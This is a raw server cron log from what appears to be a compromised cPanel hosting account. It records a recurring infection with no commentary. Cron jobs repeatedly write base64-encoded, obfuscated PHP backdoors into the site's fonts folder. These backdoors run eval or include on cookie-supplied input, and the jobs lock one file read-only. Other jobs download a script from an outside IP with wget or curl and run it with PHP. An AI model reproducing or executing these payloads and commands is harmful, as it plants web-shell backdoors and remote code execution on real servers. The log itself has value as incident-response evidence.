Sep  6 09:37:01 ip-184-168-122-23 CROND[17847]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 09:37:01 ip-184-168-122-23 CROND[17849]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 09:38:01 ip-184-168-122-23 CROND[17937]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 09:38:01 ip-184-168-122-23 CROND[17938]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 09:38:01 ip-184-168-122-23 CROND[17941]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 09:38:01 ip-184-168-122-23 CROND[17942]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 09:38:01 ip-184-168-122-23 CROND[17943]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 09:39:01 ip-184-168-122-23 CROND[18120]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 09:39:01 ip-184-168-122-23 CROND[18123]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 09:39:01 ip-184-168-122-23 CROND[18125]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 09:39:01 ip-184-168-122-23 CROND[18124]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  6 09:39:01 ip-184-168-122-23 CROND[18127]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 09:40:01 ip-184-168-122-23 CROND[18210]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  6 09:40:01 ip-184-168-122-23 CROND[18214]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 09:40:01 ip-184-168-122-23 CROND[18213]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  6 09:40:01 ip-184-168-122-23 CROND[18217]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  6 09:40:01 ip-184-168-122-23 CROND[18219]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 09:40:01 ip-184-168-122-23 CROND[18220]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 09:40:01 ip-184-168-122-23 CROND[18222]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 09:40:01 ip-184-168-122-23 CROND[18221]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 09:41:01 ip-184-168-122-23 CROND[18307]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 09:41:01 ip-184-168-122-23 CROND[18309]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 09:41:01 ip-184-168-122-23 CROND[18311]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 09:41:01 ip-184-168-122-23 CROND[18312]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 09:42:01 ip-184-168-122-23 CROND[18399]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 09:42:01 ip-184-168-122-23 CROND[18401]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 09:42:01 ip-184-168-122-23 CROND[18402]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 09:42:01 ip-184-168-122-23 CROND[18403]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 09:42:01 ip-184-168-122-23 CROND[18404]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 09:43:01 ip-184-168-122-23 CROND[18485]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 09:43:01 ip-184-168-122-23 CROND[18486]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 09:43:01 ip-184-168-122-23 CROND[18488]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 09:43:01 ip-184-168-122-23 CROND[18489]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 09:44:01 ip-184-168-122-23 CROND[18655]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 09:44:01 ip-184-168-122-23 CROND[18658]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 09:44:01 ip-184-168-122-23 CROND[18656]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 09:44:01 ip-184-168-122-23 CROND[18657]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 09:44:01 ip-184-168-122-23 CROND[18659]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 09:45:01 ip-184-168-122-23 CROND[18749]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 09:45:01 ip-184-168-122-23 CROND[18755]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  6 09:45:01 ip-184-168-122-23 CROND[18754]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 09:45:01 ip-184-168-122-23 CROND[18752]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 09:45:01 ip-184-168-122-23 CROND[18753]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 09:45:01 ip-184-168-122-23 CROND[18750]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  6 09:46:01 ip-184-168-122-23 CROND[18859]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 09:46:01 ip-184-168-122-23 CROND[18861]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 09:46:01 ip-184-168-122-23 CROND[18862]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 09:46:01 ip-184-168-122-23 CROND[18865]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 09:46:01 ip-184-168-122-23 CROND[18866]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep  6 09:46:01 ip-184-168-122-23 CROND[18864]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 09:46:01 ip-184-168-122-23 CROND[18867]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  6 09:47:01 ip-184-168-122-23 CROND[18993]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 09:47:01 ip-184-168-122-23 CROND[18997]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 09:47:01 ip-184-168-122-23 CROND[18995]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 09:47:01 ip-184-168-122-23 CROND[18996]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 09:48:02 ip-184-168-122-23 CROND[19096]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 09:48:02 ip-184-168-122-23 CROND[19099]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 09:48:02 ip-184-168-122-23 CROND[19098]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 09:48:02 ip-184-168-122-23 CROND[19100]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 09:48:02 ip-184-168-122-23 CROND[19101]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 09:49:01 ip-184-168-122-23 CROND[19189]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 09:49:01 ip-184-168-122-23 CROND[19192]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
